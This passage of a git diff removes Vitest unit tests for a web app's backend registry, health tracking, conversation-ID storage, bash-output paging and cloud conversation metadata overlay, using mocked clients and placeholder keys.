vi.unstubAllEnvs(); - __resetActiveStoreForTests(); -}); - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-key", - kind: "cloud", -}; - -const localBackend: Backend = { - id: "local-1", - name: "Local 1", - host: "http://localhost:9000", - apiKey: "k", - kind: "local", -}; - -describe("active-store", () => { - it("uses the no-backend sentinel when no backend details are available", () => { - window.localStorage.clear(); - window.sessionStorage.clear(); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - __resetActiveStoreForTests(); - - const { backend, orgId } = getActiveBackend(); - expect(backend.id).toBe(NO_BACKEND_ID); - expect(orgId).toBeNull(); - }); - - it("seeds the registry with a default local backend when host and API key are available", () => { - vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000"); - vi.stubEnv("VITE_SESSION_API_KEY", "session-key"); - __resetActiveStoreForTests(); - - const { backend, orgId } = getActiveBackend(); - expect(backend.id).toBe(SEEDED_DEFAULT_BACKEND_ID); - expect(backend.kind).toBe("local"); - expect(orgId).toBeNull(); - }); - - it("returns the registered backend matching the active selection", () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id, orgId: "org-2" }); - - const { backend, orgId } = getActiveBackend(); - expect(backend).toEqual(cloudBackend); - expect(orgId).toBe("org-2"); - }); - - it("falls back to the first local backend when the active selection points at a removed entry", () => { - setRegisteredBackends([cloudBackend, localBackend]); - setActiveSelection({ backendId: cloudBackend.id, orgId: null }); - setRegisteredBackends([localBackend]); - - expect(getActiveBackend().backend).toEqual(localBackend); - expect(getActiveBackend().orgId).toBeNull(); - }); - - it("falls back to the first registered backend when the registry has no local entry", () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection(null); - - expect(getActiveBackend().backend).toEqual(cloudBackend); - }); - - it("uses the active local backend as the effective local backend", () => { - setRegisteredBackends([localBackend, cloudBackend]); - setActiveSelection({ backendId: localBackend.id }); - - expect(getEffectiveLocalBackend()).toEqual(localBackend); - }); - - it("does not borrow a registered local backend when the active backend is cloud", () => { - setRegisteredBackends([localBackend, cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - expect(getEffectiveLocalBackend()).toBeNull(); - }); - - it("notifies subscribers when selection changes", () => { - const listener = vi.fn(); - const unsubscribe = subscribeActiveBackend(listener); - - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - expect(listener).toHaveBeenCalled(); - - unsubscribe(); - listener.mockClear(); - setActiveSelection(null); - expect(listener).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/api/backend-registry/health-store.test.ts b/__tests__/api/backend-registry/health-store.test.ts deleted file mode 100644 index d6788332c..000000000 --- a/__tests__/api/backend-registry/health-store.test.ts +++ /dev/null @@ -1,111 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it } from "vitest"; -import { - BACKEND_HEALTH_STORAGE_KEY, - MAX_CONSECUTIVE_FAILURES, -} from "#/api/backend-registry/health-storage"; -import { - __resetHealthStoreForTests, - getBackendHealthEntry, - recordBackendFailure, - recordBackendSuccess, - resetBackendHealth, - subscribeBackendHealth, -} from "#/api/backend-registry/health-store"; - -const BACKEND_ID = "backend-under-test"; - -beforeEach(() => { - window.localStorage.clear(); - __resetHealthStoreForTests(); -}); - -afterEach(() => { - window.localStorage.clear(); - __resetHealthStoreForTests(); -}); - -describe("backend health store", () => { - it("increments the failure count and persists to localStorage without disabling polling below the cap", () => { - // Arrange / Act - recordBackendFailure(BACKEND_ID, new Error("ECONNREFUSED")); - recordBackendFailure(BACKEND_ID, new Error("ECONNREFUSED")); - - // Assert - const entry = getBackendHealthEntry(BACKEND_ID); - expect(entry).toMatchObject({ - consecutiveFailures: 2, - disabled: false, - lastError: "ECONNREFUSED", - }); - - const persisted = JSON.parse( - window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY) ?? "{}", - ); - expect(persisted[BACKEND_ID]).toMatchObject({ - consecutiveFailures: 2, - disabled: false, - }); - }); - - it("flips disabled=true once consecutive failures hit the cap and persists that flag", () => { - // Arrange / Act - for (let i = 0; i < MAX_CONSECUTIVE_FAILURES; i += 1) { - recordBackendFailure(BACKEND_ID, new Error("timeout")); - } - - // Assert — the cap is reached; polling-consumers will see disabled. - const entry = getBackendHealthEntry(BACKEND_ID); - expect(entry?.consecutiveFailures).toBe(MAX_CONSECUTIVE_FAILURES); - expect(entry?.disabled).toBe(true); - - const persisted = JSON.parse( - window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY) ?? "{}", - ); - expect(persisted[BACKEND_ID].disabled).toBe(true); - }); - - it("caps the failure count at the max when a disabled backend fails another recheck", () => { - for (let i = 0; i < MAX_CONSECUTIVE_FAILURES; i += 1) { - recordBackendFailure(BACKEND_ID, new Error("timeout")); - } - - recordBackendFailure(BACKEND_ID, new Error("still down")); - - const entry = getBackendHealthEntry(BACKEND_ID); - expect(entry).toMatchObject({ - consecutiveFailures: MAX_CONSECUTIVE_FAILURES, - disabled: true, - lastError: "still down", - }); - - const persisted = JSON.parse( - window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY) ?? "{}", - ); - expect(persisted[BACKEND_ID].consecutiveFailures).toBe( - MAX_CONSECUTIVE_FAILURES, - ); - }); - - it("clears the entry (and storage) and notifies subscribers when the backend recovers or the user edits its config", () => { - // Arrange — record one failure so there is something to clear, and - // subscribe so we can confirm listeners get notified. - recordBackendFailure(BACKEND_ID, new Error("boom")); - let notifications = 0; - const unsubscribe = subscribeBackendHealth(() => { - notifications += 1; - }); - - // Act — `recordBackendSuccess` (probe recovers) and - // `resetBackendHealth` (user edits host/apiKey) share the same - // clear-entry semantics, so we cover both in one go. - recordBackendSuccess(BACKEND_ID); - recordBackendFailure(BACKEND_ID, new Error("again")); - resetBackendHealth(BACKEND_ID); - unsubscribe(); - - // Assert - expect(getBackendHealthEntry(BACKEND_ID)).toBeNull(); - expect(window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY)).toBeNull(); - expect(notifications).toBeGreaterThanOrEqual(3); - }); -}); diff --git a/__tests__/api/backend-registry/last-conversation-store.test.ts b/__tests__/api/backend-registry/last-conversation-store.test.ts deleted file mode 100644 index dbede7ef7..000000000 --- a/__tests__/api/backend-registry/last-conversation-store.test.ts +++ /dev/null @@ -1,67 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it } from "vitest"; -import { - clearLastConversationId, - getLastConversationId, - LAST_CONVERSATION_STORAGE_KEY, - setLastConversationId, -} from "#/api/backend-registry/last-conversation-store"; - -beforeEach(() => { - window.localStorage.clear(); -}); - -afterEach(() => { - window.localStorage.clear(); -}); - -describe("last-conversation-store", () => { - it("returns null when nothing has been remembered for a backend", () => { - expect(getLastConversationId("backend-a", null)).toBeNull(); - }); - - it("remembers and reads back the most recently selected conversation per backend", () => { - setLastConversationId("backend-a", null, "convo-a-1"); - setLastConversationId("backend-b", null, "convo-b-1"); - - expect(getLastConversationId("backend-a", null)).toBe("convo-a-1"); - expect(getLastConversationId("backend-b", null)).toBe("convo-b-1"); - - // The most recent selection wins. - setLastConversationId("backend-a", null, "convo-a-2"); - expect(getLastConversationId("backend-a", null)).toBe("convo-a-2"); - // …without affecting other backends. - expect(getLastConversationId("backend-b", null)).toBe("convo-b-1"); - }); - - it("keys cloud backends by (backendId, orgId) so each org gets its own slot", () => { - setLastConversationId("cloud-x", "org-1", "convo-org-1"); - setLastConversationId("cloud-x", "org-2", "convo-org-2"); - - expect(getLastConversationId("cloud-x", "org-1")).toBe("convo-org-1"); - expect(getLastConversationId("cloud-x", "org-2")).toBe("convo-org-2"); - expect(getLastConversationId("cloud-x", null)).toBeNull(); - }); - - it("clears a backend's slot without touching others", () => { - setLastConversationId("backend-a", null, "convo-a"); - setLastConversationId("backend-b", null, "convo-b"); - - clearLastConversationId("backend-a", null); - - expect(getLastConversationId("backend-a", null)).toBeNull(); - expect(getLastConversationId("backend-b", null)).toBe("convo-b"); - }); - - it("ignores empty conversation ids on write", () => { - setLastConversationId("backend-a", null, ""); - expect(getLastConversationId("backend-a", null)).toBeNull(); - }); - - it("survives malformed JSON in storage", () => { - window.localStorage.setItem(LAST_CONVERSATION_STORAGE_KEY, "not-json"); - expect(getLastConversationId("backend-a", null)).toBeNull(); - // A subsequent write recovers the storage shape. - setLastConversationId("backend-a", null, "convo-a"); - expect(getLastConversationId("backend-a", null)).toBe("convo-a"); - }); -}); diff --git a/__tests__/api/backend-registry/storage.test.ts b/__tests__/api/backend-registry/storage.test.ts deleted file mode 100644 index b8ed9b0c5..000000000 --- a/__tests__/api/backend-registry/storage.test.ts +++ /dev/null @@ -1,365 +0,0 @@ -import { afterEach, describe, expect, it, vi } from "vitest"; -import { - ACTIVE_BACKEND_STORAGE_KEY, - BACKENDS_STORAGE_KEY, - readStoredActiveBackend, - readStoredBackends, - writeStoredActiveBackend, - writeStoredBackends, -} from "#/api/backend-registry/storage"; -import type { Backend } from "#/api/backend-registry/types"; - -const ORIGINAL_LOCATION = window.location; - -function mockWindowLocation(url: string) { - Object.defineProperty(window, "location", { - configurable: true, - value: new URL(url), - }); -} - -afterEach(() => { - window.localStorage.clear(); - window.sessionStorage.clear(); - delete (window as unknown as Record) - .__AGENT_CANVAS_LOCK_TO_CLOUD__; - Object.defineProperty(window, "location", { - configurable: true, - value: ORIGINAL_LOCATION, - }); - - vi.unstubAllEnvs(); -}); - -describe("backend-registry storage", () => { - it("round-trips a list of backends", () => { - const backends: Backend[] = [ - { - id: "abc", - name: "Local 1", - host: "http://127.0.0.1:9000", - apiKey: "key-1", - kind: "local", - }, - { - id: "xyz", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-2", - kind: "cloud", - }, - ]; - - writeStoredBackends(backends); - - expect(readStoredBackends()).toEqual(backends); - }); - - it("returns empty list when storage is malformed", () => { - window.localStorage.setItem(BACKENDS_STORAGE_KEY, "{not-json"); - expect(readStoredBackends()).toEqual([]); - }); - - it("does not seed the default Local backend when launcher details are missing", () => { - vi.stubEnv("VITE_SESSION_API_KEY", ""); - expect(window.localStorage.getItem(BACKENDS_STORAGE_KEY)).toBeNull(); - - expect(readStoredBackends()).toEqual([]); - expect(window.localStorage.getItem(BACKENDS_STORAGE_KEY)).toBeNull(); - }); - - it("seeds the default Local backend when host and API key are available", () => { - vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000"); - vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key"); - - const result = readStoredBackends(); - - expect(result).toHaveLength(1); - expect(result[0]).toMatchObject({ - id: "default-local", - host: "http://localhost:9000", - apiKey: "fresh-session-key", - kind: "local", - }); - expect(window.localStorage.getItem(BACKENDS_STORAGE_KEY)).not.toBeNull(); - expect(readStoredBackends()).toEqual(result); - }); - - it("seeds a cookie-auth Cloud backend when locked to the current origin", () => { - ( - window as unknown as Record - ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = window.location.origin; - window.localStorage.setItem( - BACKENDS_STORAGE_KEY, - JSON.stringify([ - { - id: "stale-local", - name: "Stale Local", - host: "http://localhost:18000", - apiKey: "stale-session", - kind: "local", - }, - ]), - ); - - const result = readStoredBackends(); - - expect(result).toEqual([ - { - id: "locked-cloud", - name: "OpenHands Cloud", - host: window.location.origin, - apiKey: "", - kind: "cloud", - authMode: "cookie", - }, - ]); - expect(readStoredActiveBackend()).toEqual({ - backendId: "locked-cloud", - orgId: null, - }); - }); - - it("seeds the cookie-auth Cloud backend on the current origin when the locked host is an equivalent transition domain", () => { - mockWindowLocation("https://pr-254.staging.openhands.dev/canvas"); - ( - window as unknown as Record - ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = "https://pr-254.staging.all-hands.dev"; - - expect(readStoredBackends()).toEqual([ - { - id: "locked-cloud", - name: "OpenHands Cloud", - host: "https://pr-254.staging.openhands.dev", - apiKey: "", - kind: "cloud", - authMode: "cookie", - }, - ]); - }); - - it("preserves an existing locked Cloud org selection while reseeding", () => { - ( - window as unknown as Record - ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = window.location.origin; - writeStoredActiveBackend({ backendId: "locked-cloud", orgId: "org-1" }); - - expect(readStoredBackends()[0]).toMatchObject({ id: "locked-cloud" }); - expect(readStoredActiveBackend()).toEqual({ - backendId: "locked-cloud", - orgId: "org-1", - }); - }); - - it("does not seed a cookie-auth Cloud backend when locked cross-origin", () => { - ( - window as unknown as Record - ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = "https://app.all-hands.dev"; - vi.stubEnv("VITE_SESSION_API_KEY", ""); - - expect(readStoredBackends()).toEqual([]); - }); - - it("re-seeds the default Local backend when storage holds an empty array and launcher details are available", () => { - vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000"); - vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key"); - window.localStorage.setItem(BACKENDS_STORAGE_KEY, JSON.stringify([])); - - const result = readStoredBackends(); - - expect(result).toHaveLength(1); - expect(result[0]).toMatchObject({ id: "default-local", kind: "local" }); - }); - - it("re-seeds the default Local backend when every stored entry is invalid and launcher details are available", () => { - vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000"); - vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key"); - window.localStorage.setItem( - BACKENDS_STORAGE_KEY, - JSON.stringify([{ kind: "cloud" }, "not-an-object"]), - ); - - const result = readStoredBackends(); - - expect(result).toHaveLength(1); - expect(result[0]).toMatchObject({ id: "default-local", kind: "local" }); - }); - - it("filters out backends with invalid shape", () => { - window.localStorage.setItem( - BACKENDS_STORAGE_KEY, - JSON.stringify([ - { id: "ok", name: "x", host: "y", apiKey: "z", kind: "local" }, - { id: "missing-kind", name: "x", host: "y", apiKey: "z" }, - { kind: "cloud" }, - "not-an-object", - ]), - ); - - expect(readStoredBackends()).toEqual([ - { id: "ok", name: "x", host: "y", apiKey: "z", kind: "local" }, - ]); - }); - - it("preserves stored backends without API keys", () => { - vi.stubEnv("VITE_SESSION_API_KEY", ""); - const storedBackend: Backend = { - id: "default-local", - name: "Local", - host: window.location.origin, - apiKey: "", - kind: "local", - }; - window.localStorage.setItem( - BACKENDS_STORAGE_KEY, - JSON.stringify([storedBackend]), - ); - - expect(readStoredBackends()).toEqual([storedBackend]); - }); - - it("syncs a stale default Local API key from env defaults", () => { - vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key"); - window.localStorage.setItem( - BACKENDS_STORAGE_KEY, - JSON.stringify([ - { - id: "default-local", - name: "Local", - host: window.location.origin, - apiKey: "stored-session-key", - kind: "local", - }, - ]), - ); - - expect(readStoredBackends()[0]).toMatchObject({ - id: "default-local", - apiKey: "fresh-session-key", - }); - }); - - it("syncs a stale default Local API key across localhost and 127.0.0.1", () => { - vi.stubEnv("VITE_BACKEND_BASE_URL", "http://127.0.0.1:8000"); - vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key"); - window.localStorage.setItem( - BACKENDS_STORAGE_KEY, - JSON.stringify([ - { - id: "default-local", - name: "Local", - host: "http://localhost:8000", - apiKey: "stored-session-key", - kind: "local", - }, - ]), - ); - - expect(readStoredBackends()[0]).toMatchObject({ - id: "default-local", - host: "http://localhost:8000", - apiKey: "fresh-session-key", - }); - }); - - it("preserves a custom backend API key instead of syncing from env defaults", () => { - vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key"); - const storedBackend: Backend = { - id: "custom-local", - name: "Custom Local", - host: window.location.origin, - apiKey: "stored-session-key", - kind: "local", - }; - window.localStorage.setItem( - BACKENDS_STORAGE_KEY, - JSON.stringify([storedBackend]), - ); - - expect(readStoredBackends()[0]).toMatchObject({ - id: "custom-local", - apiKey: "stored-session-key", - }); - }); - - it("preserves a user-edited non-loopback default Local backend API key", () => { - vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key"); - const storedBackend: Backend = { - id: "default-local", - name: "Edited Local", - host: "https://example.com", - apiKey: "stored-session-key", - kind: "local", - }; - window.localStorage.setItem( - BACKENDS_STORAGE_KEY, - JSON.stringify([storedBackend]), - ); - - expect(readStoredBackends()[0]).toMatchObject({ - id: "default-local", - host: "https://example.com", - apiKey: "stored-session-key", - }); - }); - - it("round-trips active selection with orgId", () => { - writeStoredActiveBackend({ backendId: "xyz", orgId: "org-1" }); - expect(readStoredActiveBackend()).toEqual({ - backendId: "xyz", - orgId: "org-1", - }); - }); - - it("normalizes missing orgId to null", () => { - writeStoredActiveBackend({ backendId: "xyz" }); - expect(readStoredActiveBackend()).toEqual({ - backendId: "xyz", - orgId: null, - }); - }); - - it("prefers the tab-scoped active selection over the global fallback", () => { - window.localStorage.setItem( - ACTIVE_BACKEND_STORAGE_KEY, - JSON.stringify({ backendId: "global-backend", orgId: null }), - ); - window.sessionStorage.setItem( - ACTIVE_BACKEND_STORAGE_KEY, - JSON.stringify({ backendId: "tab-backend", orgId: "org-1" }), - ); - - expect(readStoredActiveBackend()).toEqual({ - backendId: "tab-backend", - orgId: "org-1", - }); - }); - - it("falls back to the global active selection for new tabs", () => { - window.localStorage.setItem( - ACTIVE_BACKEND_STORAGE_KEY, - JSON.stringify({ backendId: "global-backend", orgId: null }), - ); - - expect(readStoredActiveBackend()).toEqual({ - backendId: "global-backend", - orgId: null, - }); - }); - - it("clears storage when active selection is set to null", () => { - writeStoredActiveBackend({ backendId: "xyz", orgId: "o" }); - writeStoredActiveBackend(null); - - expect( - window.sessionStorage.getItem(ACTIVE_BACKEND_STORAGE_KEY), - ).toBeNull(); - expect(window.localStorage.getItem(ACTIVE_BACKEND_STORAGE_KEY)).toBeNull(); - expect(readStoredActiveBackend()).toBeNull(); - }); - - it("returns null active selection when storage is malformed", () => { - window.localStorage.setItem(ACTIVE_BACKEND_STORAGE_KEY, "{broken"); - expect(readStoredActiveBackend()).toBeNull(); - }); -}); diff --git a/__tests__/api/bash-service.test.ts b/__tests__/api/bash-service.test.ts deleted file mode 100644 index 5bd86f294..000000000 --- a/__tests__/api/bash-service.test.ts +++ /dev/null @@ -1,175 +0,0 @@ -import { BashClient } from "@openhands/typescript-client/clients"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import BashService from "#/api/bash-service/bash-service.api"; -import { callCloudProxy } from "#/api/cloud/proxy"; -import type { Backend } from "#/api/backend-registry/types"; - -const { searchEventsMock } = vi.hoisted(() => ({ - searchEventsMock: vi.fn(), -})); - -vi.mock("@openhands/typescript-client/clients", () => ({ - BashClient: vi.fn(function BashClientMock() { - return { searchEvents: searchEventsMock }; - }), -})); - -vi.mock("#/api/agent-server-client-options", () => ({ - getAgentServerClientOptions: vi.fn(() => ({ - host: "http://local-agent.example.com", - apiKey: "local-key", - workingDir: "/workspace/project", - })), -})); - -vi.mock("#/api/cloud/proxy", () => ({ - callCloudProxy: vi.fn(), -})); - -const localBackend: Backend = { - id: "local-1", - name: "Local 1", - host: "http://local-agent.example.com", - apiKey: "local-key", - kind: "local", -}; - -const cloudBackend: Backend = { - id: "cloud-1", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "cloud-api-key", - kind: "cloud", -}; - -const CONVERSATION_URL = "https://runtime.example.com/api/conversations/conv-1"; -const SESSION_KEY = "session-key-abc"; -const BASH_CMD_ID = "cmd-123"; - -const OUTPUT_1 = { - id: "out-1", - timestamp: "2026-01-01T10:00:00.100Z", - kind: "BashOutput", - command_id: BASH_CMD_ID, - order: 0, - stdout: "hello\n", - stderr: null, - exit_code: null, -}; - -const OUTPUT_2 = { - id: "out-2", - timestamp: "2026-01-01T10:00:00.200Z", - kind: "BashOutput", - command_id: BASH_CMD_ID, - order: 1, - stdout: null, - stderr: "boom\n", - exit_code: 1, -}; - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - vi.mocked(BashClient).mockClear(); - searchEventsMock.mockReset(); - vi.mocked(callCloudProxy).mockReset(); -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); -}); - -describe("BashService.listOutputs — local backend", () => { - beforeEach(() => { - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id, orgId: null }); - }); - - it("pages BashOutput events via BashClient with command_id__eq filter", async () => { - searchEventsMock - .mockResolvedValueOnce({ - items: [OUTPUT_1], - next_page_id: "next", - }) - .mockResolvedValueOnce({ items: [OUTPUT_2] }); - - const outputs = await BashService.listOutputs( - CONVERSATION_URL, - SESSION_KEY, - BASH_CMD_ID, - ); - - expect(BashClient).toHaveBeenCalled(); - expect(searchEventsMock).toHaveBeenCalledTimes(2); - expect(searchEventsMock.mock.calls[0][0]).toMatchObject({ - kind__eq: "BashOutput", - command_id__eq: BASH_CMD_ID, - sort_order: "TIMESTAMP", - }); - expect(searchEventsMock.mock.calls[1][0]).toMatchObject({ - page_id: "next", - }); - expect(callCloudProxy).not.toHaveBeenCalled(); - expect(outputs).toEqual([OUTPUT_1, OUTPUT_2]); - }); - - it("works without a conversation URL (falls back to backend host)", async () => { - searchEventsMock.mockResolvedValueOnce({ items: [OUTPUT_1] }); - - const outputs = await BashService.listOutputs(null, null, BASH_CMD_ID); - - expect(BashClient).toHaveBeenCalled(); - expect(callCloudProxy).not.toHaveBeenCalled(); - expect(outputs).toEqual([OUTPUT_1]); - }); -}); - -describe("BashService.listOutputs — cloud backend", () => { - beforeEach(() => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id, orgId: null }); - }); - - it("routes through callCloudProxy with hostOverride and session-api-key", async () => { - vi.mocked(callCloudProxy).mockResolvedValueOnce({ - items: [OUTPUT_1, OUTPUT_2], - }); - - const outputs = await BashService.listOutputs( - CONVERSATION_URL, - SESSION_KEY, - BASH_CMD_ID, - ); - - expect(BashClient).not.toHaveBeenCalled(); - const proxyCall = vi.mocked(callCloudProxy).mock.calls[0][0]; - expect(proxyCall.method).toBe("GET"); - expect(proxyCall.path).toMatch(/^\/api\/bash\/bash_events\/search\?/); - expect(proxyCall.hostOverride).toBe("https://runtime.example.com"); - expect(proxyCall.authMode).toBe("session-api-key"); - expect(proxyCall.sessionApiKey).toBe(SESSION_KEY); - - const searchUrl = new URL( - `http://x.example.com${proxyCall.path as string}`, - ); - expect(searchUrl.searchParams.get("kind__eq")).toBe("BashOutput"); - expect(searchUrl.searchParams.get("command_id__eq")).toBe(BASH_CMD_ID); - expect(searchUrl.searchParams.get("sort_order")).toBe("TIMESTAMP"); - - expect(outputs).toEqual([OUTPUT_1, OUTPUT_2]); - }); - - it("throws when no conversation URL is provided on cloud backends", async () => { - await expect( - BashService.listOutputs(null, SESSION_KEY, BASH_CMD_ID), - ).rejects.toThrow(/requires a conversation URL/); - expect(callCloudProxy).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/api/cloud-conversation-service.test.ts b/__tests__/api/cloud-conversation-service.test.ts deleted file mode 100644 index 4248b23e0..000000000 --- a/__tests__/api/cloud-conversation-service.test.ts +++ /dev/null @@ -1,271 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { setStoredConversationMetadata } from "#/api/conversation-metadata-store"; -import { - batchGetCloudConversations, - createCloudAppConversation, - searchCloudConversations, -} from "#/api/cloud/conversation-service.api"; -import { AGENT_CANVAS_CLIENT_HEADERS } from "#/api/client-source"; - -const { mockCallCloudProxy } = vi.hoisted(() => ({ - mockCallCloudProxy: vi.fn(), -})); - -vi.mock("#/api/cloud/proxy", () => ({ - callCloudProxy: (...args: unknown[]) => mockCallCloudProxy(...args), -})); - -const cloudBackend: Backend = { - id: "cloud-1", - kind: "cloud", - host: "https://app.all-hands.dev", - apiKey: "secret", - name: "Cloud", -}; - -describe("cloud conversation-service overlay", () => { - beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id, orgId: null }); - mockCallCloudProxy.mockReset(); - }); - - afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - mockCallCloudProxy.mockReset(); - }); - - it("marks Cloud conversation starts as originating from Agent Canvas", async () => { - mockCallCloudProxy.mockResolvedValueOnce({ id: "start-task" }); - - await createCloudAppConversation({ - initial_message: null, - selected_repository: null, - selected_branch: null, - git_provider: null, - plugins: null, - parent_conversation_id: null, - }); - - expect(mockCallCloudProxy).toHaveBeenCalledWith( - expect.objectContaining({ - path: "/api/v1/app-conversations", - headers: AGENT_CANVAS_CLIENT_HEADERS, - }), - ); - }); - - it("overlays locally-stored repo selection onto batchGetCloudConversations results when the server returns nulls", async () => { - setStoredConversationMetadata("conv-1", { - selected_repository: "octocat/hello-world", - selected_branch: "main", - git_provider: "github", - }); - - mockCallCloudProxy.mockResolvedValueOnce([ - { - id: "conv-1", - title: "Hello", - selected_repository: null, - selected_branch: null, - git_provider: null, - }, - ]); - - const [conversation] = await batchGetCloudConversations(["conv-1"]); - - expect(conversation).not.toBeNull(); - expect(conversation?.selected_repository).toBe("octocat/hello-world"); - expect(conversation?.selected_branch).toBe("main"); - expect(conversation?.git_provider).toBe("github"); - }); - - it("prefers the cloud server values over locally-stored selections when present", async () => { - setStoredConversationMetadata("conv-1", { - selected_repository: "stale/local", - selected_branch: "stale-branch", - git_provider: "gitlab", - }); - - mockCallCloudProxy.mockResolvedValueOnce([ - { - id: "conv-1", - title: "Hello", - selected_repository: "octocat/hello-world", - selected_branch: "main", - git_provider: "github", - }, - ]); - - const [conversation] = await batchGetCloudConversations(["conv-1"]); - - expect(conversation?.selected_repository).toBe("octocat/hello-world"); - expect(conversation?.selected_branch).toBe("main"); - expect(conversation?.git_provider).toBe("github"); - }); - - it("leaves null entries untouched when the cloud server returns null for a missing conversation", async () => { - mockCallCloudProxy.mockResolvedValueOnce([null]); - - const result = await batchGetCloudConversations(["missing"]); - - expect(result).toEqual([null]); - }); - - it("returns an empty array without calling the proxy when no ids are provided", async () => { - const result = await batchGetCloudConversations([]); - - expect(result).toEqual([]); - expect(mockCallCloudProxy).not.toHaveBeenCalled(); - }); - - it("only fills server-side nulls — server-populated fields are preserved", async () => { - setStoredConversationMetadata("conv-1", { - selected_repository: "local/repo", - selected_branch: "local-branch", - git_provider: "gitlab", - }); - - mockCallCloudProxy.mockResolvedValueOnce([ - { - id: "conv-1", - title: "Hello", - selected_repository: "server/repo", - selected_branch: null, - git_provider: null, - }, - ]); - - const [conversation] = await batchGetCloudConversations(["conv-1"]); - - // Server-populated field wins… - expect(conversation?.selected_repository).toBe("server/repo"); - // …but the two nulls are filled in from local storage. - expect(conversation?.selected_branch).toBe("local-branch"); - expect(conversation?.git_provider).toBe("gitlab"); - }); - - it("leaves server-side nulls null when local storage only has a partial selection", async () => { - setStoredConversationMetadata("conv-1", { - selected_repository: "local/repo", - selected_branch: null, - git_provider: null, - }); - - mockCallCloudProxy.mockResolvedValueOnce([ - { - id: "conv-1", - title: "Hello", - selected_repository: null, - selected_branch: null, - git_provider: null, - }, - ]); - - const [conversation] = await batchGetCloudConversations(["conv-1"]); - - expect(conversation?.selected_repository).toBe("local/repo"); - expect(conversation?.selected_branch).toBeNull(); - expect(conversation?.git_provider).toBeNull(); - }); - - it("applies the overlay independently per conversation when batching multiple ids", async () => { - setStoredConversationMetadata("conv-1", { - selected_repository: "octocat/hello-world", - selected_branch: "main", - git_provider: "github", - }); - setStoredConversationMetadata("conv-2", { - selected_repository: "octocat/other", - selected_branch: "dev", - git_provider: "github", - }); - - mockCallCloudProxy.mockResolvedValueOnce([ - { - id: "conv-1", - title: "First", - selected_repository: null, - selected_branch: null, - git_provider: null, - }, - { - id: "conv-2", - title: "Second", - // Server returns the repo already — overlay should NOT override. - selected_repository: "server/two", - selected_branch: null, - git_provider: null, - }, - { - id: "conv-3", - title: "Third (no local data)", - selected_repository: null, - selected_branch: null, - git_provider: null, - }, - ]); - - const conversations = await batchGetCloudConversations([ - "conv-1", - "conv-2", - "conv-3", - ]); - - expect(conversations[0]?.selected_repository).toBe("octocat/hello-world"); - expect(conversations[0]?.selected_branch).toBe("main"); - expect(conversations[0]?.git_provider).toBe("github"); - - expect(conversations[1]?.selected_repository).toBe("server/two"); - expect(conversations[1]?.selected_branch).toBe("dev"); - expect(conversations[1]?.git_provider).toBe("github"); - - expect(conversations[2]?.selected_repository).toBeNull(); - expect(conversations[2]?.selected_branch).toBeNull(); - expect(conversations[2]?.git_provider).toBeNull(); - }); - - it("overlays repo selection on each item returned from searchCloudConversations", async () => { - setStoredConversationMetadata("conv-1", { - selected_repository: "octocat/hello-world", - selected_branch: "main", - git_provider: "github", - }); - - mockCallCloudProxy.mockResolvedValueOnce({ - items: [ - { - id: "conv-1", - title: "Hello", - selected_repository: null, - selected_branch: null, - git_provider: null, - }, - { - id: "conv-2", - title: "Other", - selected_repository: null, - selected_branch: null, - git_provider: null, - }, - ], - next_page_id: null, - }); - - const page = await searchCloudConversations(20); - - expect(page.items[0].selected_repository).toBe("octocat/hello-world"); - expect(page.items[0].selected_branch).toBe("main"); - expect(page.items[0].git_provider).toBe("github"); - expect(page.items[1].selected_repository).toBeNull(); - }); -}); diff --git a/__tests__/api/cloud/conversation-create.test.ts b/__tests__/api/cloud/conversation-create.test.ts deleted file mode 100644 index d119a8ba8..000000000 --- a/__tests__/api/cloud/conversation-create.test.ts +++ /dev/null @@ -1,129 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from 